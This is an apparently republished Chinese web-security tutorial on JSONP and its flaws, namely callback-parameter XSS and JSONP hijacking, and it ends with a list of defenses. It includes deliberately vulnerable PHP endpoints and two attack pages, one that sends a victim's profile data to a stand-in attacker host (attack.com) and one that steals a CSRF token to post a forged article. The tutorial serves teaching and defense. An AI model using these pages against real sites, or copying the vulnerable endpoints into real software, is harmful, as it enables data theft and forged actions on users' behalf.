Jsonp劫持

这篇具有很好参考价值的文章主要介绍了Jsonp劫持。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

文章首发于先知社区:https://xz.aliyun.com/t/12744

JSONP

介绍

jsonp是一种协议,准确的说,他是json的一种使用模式,为了解决Json受同源策略限制的问题。

基本语法

JSONP的基本语法为:callback({“name”:”test”, “msg”:”success”})

常见的例子包括函数调用(如callback({“a”:”b”}))或变量赋值(var a={JSON data})。

应用场景

json

假设在192.168.7.166下放了一个test.json

{ username: "Sentiment", password: "123456" }

这时192.168.7.166下的html文件需要发送AJAX请求去访问这个test.json文件

<script src='./jquery.js'></script>
<script >
 $.ajax({
 url: 'http://192.168.7.166/test.json',
 type:"get",     
 dataType: "json",
 success: function (data) {
  console.log(data);}
 })
</script>

此时该HTML文件和test.json同域,所以HTML文件能够正常获取json文件的内容。

Jsonp劫持,okhttp

若将test.json放到192.168.43.136下,HTML与test.json不同域,这时去访问jsonp.html,发现受同源策略限制被拒绝

Jsonp劫持,okhttp

这时就需要用到jsonp来解决这个问题

jsonp

jsonp简单地说,就是利用script标签的src属性能够发起跨域请求的原理来实现的。

因此只需将test.json中的内容按照javascript规范去规定,便可以实现跨域资源访问。聪明的程序员们很快便找到了解决问题的办法。只需让目标页面回调本地页面的方法,并带入参数即可,这也就是jsonp的核心原理。

<body>
<script>
    function callback(data){
        alert("name:"+data.username+"  passwrod:"+data.password);
    }
</script>
<script src="http://192.168.43.136/test.json"></script>
</body>

在test.json中按照javascript代码规范调用callback函数,并将数据作为参数传入

callback({ username: "Sentim", password: "123456" })

此时请求jsonp.html,成功请求跨域json
Jsonp劫持,okhttp

JSONP跨域漏洞

JSONP跨域漏洞主要是callback自定义导致的XSS和JSONP劫持。

callback自定义导致的XSS

我们知道,在JSONP跨域中,我们是可以传入一个函数名的参数如callback,然后JSONP端点会根据我们的传参动态生成JSONP数据响应回来。

如果JSONP端点对于用于传入的函数名参数callback处理不当,如未正确设置响应包的Content-Type、未对用户输入参数进行有效过滤或转义时,就会导致XSS漏洞的产生。

jsonp.php

<?php
if(isset($_GET['callback'])){
    $callback = $_GET['callback'];
    print $callback.'({"username" : "Sentiment", "password" : "123456"});';
} else {
    echo 'No callback param.';
}
?>

请求后触发xss,此时发现php默认的content-type为text/html

Jsonp劫持,okhttp

起初使用Java部署了这个环境,但由于未对Servlet容器的content-type进行默认设置,默认为null,导致没有弹窗

其它content-type类型

经测试后发现application/json、text/json、application/javascript、text/javascript等都不触发XSS

JSONP劫持

因为jsonp实现了跨域资源访问,如果获取的数据能够成为下一步操作的凭证,那么便可以引起jsonp劫持。

Demo1— 窃取用户信息

设置模拟用户登录页面 login.php

<?php
error_reporting(0);
session_start();
$name = $_GET['name'];
$pwd = $_GET['pwd'];
if($name==='admin' && $pwd === 'admin' || $name==='guest' && $pwd === 'guest'){
    $_SESSION['name'] = $name;
}
if (isset($_GET['logout'])) {
    if ($_GET['logout'] === '1') {
        unset($_SESSION['name']);
    }
}
echo '<a href="http://victim.com/info.php?callback=jsonp">用户信息</a><br>';
echo '<a href="http://victim.com/main.php?logout=1">退出登录</a><br data-tomark-pass>';
if(!$_SESSION['name']){
    echo '<html>
   <head>
      <title>登录</title>
      <meta charset="utf-8">
   </head>
   <body>
      <form action="login.php" method="get">
         用户名:<input type="text" name="name">
         密码:<input type="password" name="pwd">
         <input type="submit" name="submit" value="login">
      </form>
   </body>
   </html>';
}else{
    echo "欢迎您, ".$_SESSION['name']."<br data-tomark-pass>";
}
?>

查询信息页面

info.php

<?php
header('Content-type: application/json');
error_reporting(0);
session_start();
$callback = $_GET['callback'];
if($_SESSION['name'] === 'admin'){
        echo $callback."({'id':1,'name':'Sentiment'})";
} elseif($_SESSION['name'] === 'guest') {
        echo $callback."({'id':2,'name':'guest'})";
} else {
        echo $callback."获取个人信息失败";
}
?>

当用户登录后,访问info.php便能查询到自己的信息,此时构造恶意html

<html>
<head>
	<title>lol</title>
	<meta charset="utf-8">
</head>
<script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
<script>
	function jsonp_hack(v){
		alert("JSONP hijacking");
		var h = '';
		for(var key in v){
			var a = '';
			a = key + ' : ' + v[key] + ' ,';
			h += a;
		}
		alert(h);
		$.get('http://attack.com/index.html?value='+h);
	}
</script>
<script src="http://victim.com/info.php?callback=jsonp_hack"></script>
<body>
	<h1>Welcome</h1>
</body>
</html>

引导用户访问后成功被jsonp劫持
Jsonp劫持,okhttp

Demo2— 劫持token

下面的示例模拟通过JSONP劫持窃取token来发表文章的情形。

add_article.php,放置于目标服务器中,功能是发表文章,前提是token值成功校验通过:

<?php
if(!empty($_POST['token'])){
    $csrf_token = $_POST['token'];
    $title = $_POST['title'];
    $content = $_POST['content'];
    if ($csrf_token === 'jsonp_test')
    {
        echo '文章发表成功~'.'</br>';
        echo $title.'</br>';
        echo $content;
    }
    else
    {
        echo 'csrf token error';
    }
}
else
{
    echo 'no token';
}
?>

token.php

<?php
header('Content-type: application/json');
if(isset($_GET['callback'])){
    $callback = $_GET['callback'];
    print $callback.'({"username" : "Sentiment", "password" : "123456", "token" : "jsonp_test"});';
} else {
    echo 'No callback param.';
}
?>

attack.html,攻击者用于诱使用户访问的文件,放置于攻击者服务器中,用于访问目标JSONP端点获取token之后,再带上该token向目标服务器的add_article.php发起请求来发表文章:

<html>
<head>
<title>JSONP Hijacking</title>
<meta charset="utf-8">
</head>
<body>
<form action="http://victim.com/add_article.php" method="POST" id="csrfsend">
<input type="hidden" name="content" value="Hacked by Sentiment!">
<input type="hidden" name="title" value="Oops!">
<input type="hidden" id="token" name="token" value="">
</form>
<script type="text/javascript">
function exp(obj){
    console.log(obj);
    var token = obj["token"];
    document.getElementById("token").value = token;
    document.getElementById("csrfsend").submit();
}
</script>
<script type="text/javascript" src="http://victim.com/token.php?callback=exp"></script>
</body>
</html>

引导用户访问后成功劫持token
Jsonp劫持,okhttp

防御

  • 若可行,则使用CORS替换JSONP实现跨域功能;
  • 应用CSRF防御措施来调用JSON文件:限制Referer 、部署Token等;
  • 严格设置Content-Type及编码(Content-Type: application/json; charset=utf-8 );
  • 把回调函数加入到白名单

参考链接

http://www.mi1k7ea.com/2019/08/20/JSONP%E8%B7%A8%E5%9F%9F%E6%BC%8F%E6%B4%9E%E6%80%BB%E7%BB%93/

https://zhengbao.wang/jsonp%E5%8A%AB%E6%8C%81%E6%BC%8F%E6%B4%9E/

JSONP与JSONP劫持漏洞的学习 - 先知社区 (aliyun.com)文章来源地址https://www.toymoban.com/news/detail-607067.html

到了这里,关于Jsonp劫持的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • 什么是jsonp

    jsonp 是前端一种用来解决网站跨域的技术,利用script标签不受同源策略影响的特性引入一个非同源的js文件,并定义一个回调函数来接收数据,这样就可以实现跨域获取数据了,例如: 现在有一个链接返回的数据是这样的: 这是一个标准的jsonp格式,它通过调用函数cb来传递数据,那

    2024年02月03日
    浏览(16)
  • Python获取jsonp数据

    使用python爬取数据时,有时候会遇到jsonp的数据格式,由于不是json的,所以不能直接使用json.loads()方法来解析,需要先将其转换为json格式,再进行解析。在前面讲了jsonp的原理 ,这里就略过一部分。 jsonp的格式 jsonp的内容一般是这样的: 也有有可能是这样的: 这里的callback就是

    2024年02月03日
    浏览(22)
  • 【Ajax】笔记-jsonp实现原理

    JSONP是什么 JSONP(JSON With Padding),是一个非官方的跨域解决方案,纯粹凭借程序员的聪明才智开发出来的,只支持get请求。 JSONP 怎么工作的? 在网页有一些标签天生具有跨域能力,比如:img link iframe script. JSONP就是利用Script标签的跨域能力来发送请求的 JSONP的使用 动态的创建一

    2024年02月15日
    浏览(22)
  • JavaScript学习 -- jsonp跨域请求

    在现代 Web 应用程序的开发中,由于跨域访问的限制,经常需要在不同的域之间传输 JSON 数据。但是,浏览器强制遵循同源策略,限制了浏览器从一个域向另一个域请求数据的能力。为此,我们可以使用 JSONP(JSON with Padding)技术,它通过动态创建 script 标签实现了跨域传输

    2024年02月16日
    浏览(25)
  • 前端也需要了解的 JSONP 安全

    什么是 JSONP(JSON with Padding)? What? 你还不知道 JSONP 是什么?赶紧去补补吧,我就不多讲了。 补个百度百科链接先,baike.baidu.com/item/jsonp/… 会有哪些安全隐患?怎么防范? 我们假设有这样一个场景一 我登录了 www.qq.com ,QQ 为了给第三方提供服务,可能会有这样的 jsonp 接口

    2024年02月03日
    浏览(32)
  • 记录--求你了,别再说不会JSONP了

    JSONP是一种很远古用来解决跨域问题的技术,当然现在实际工作当中很少用到该技术了,但是很多同学在找工作面试过程中还是经常被问到,本文将带您深入了解JSONP的工作原理、使用场景及安全注意事项,让您轻松掌握JSONP。 JSONP,全称JSON with Padding,是一项用于在不同域之

    2024年02月05日
    浏览(32)
  • axios、跨域与JSONP、防抖和节流

    Axios 是专注于 网络数据请求 的库。 相比于原生的 XMLHttpRequest 对象,axios 简单易用 。 相比于 jQuery,axios 更加 轻量化 ,只专注于网络数据请求。 axios.get(\\\'url\\\', { params: { /*参数*/ } }).then(callback) 例如: axios.post(\\\'url\\\', { /*参数*/ }).then(callback) 例如: 例如: 如果两个页面的 协议

    2024年02月08日
    浏览(30)
  • Fastapi+Jsonp实现前后端跨域请求

    2024年01月19日
    浏览(32)
  • 了解同源策略 JSONP 案例-淘宝搜索 防抖和节流

    什么是跨域 同源指的是两个 URL 的协议、域名、端口一致,反之,则是跨域。 出现跨域的根本原因:浏览器的同源策略不允许非同源的 URL 之间进行资源的交互。 网页:http://www.test.com/index.html 接口:http://www.api.com/userlist 浏览器对跨域请求的拦截 注意:浏览器允许发起跨域请

    2024年02月05日
    浏览(34)
  • 分布式项目 11 在项目中使用jsonp发送请求并且处理

    在项目中使用jsonp技术 01.相关子系统的搭建 第一步:创建一个新的子系统,叫做jt-sso 选中jt父级项目,然后鼠标右键进行new,然后选中maven Model,进行项目的创建,具体操 作如下图所示: 第二步:编辑pom.xml文件 01.引入jt-common项目资源依赖坐标 02.添加插件 第三步:创建封装

    2024年02月06日
    浏览(27)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包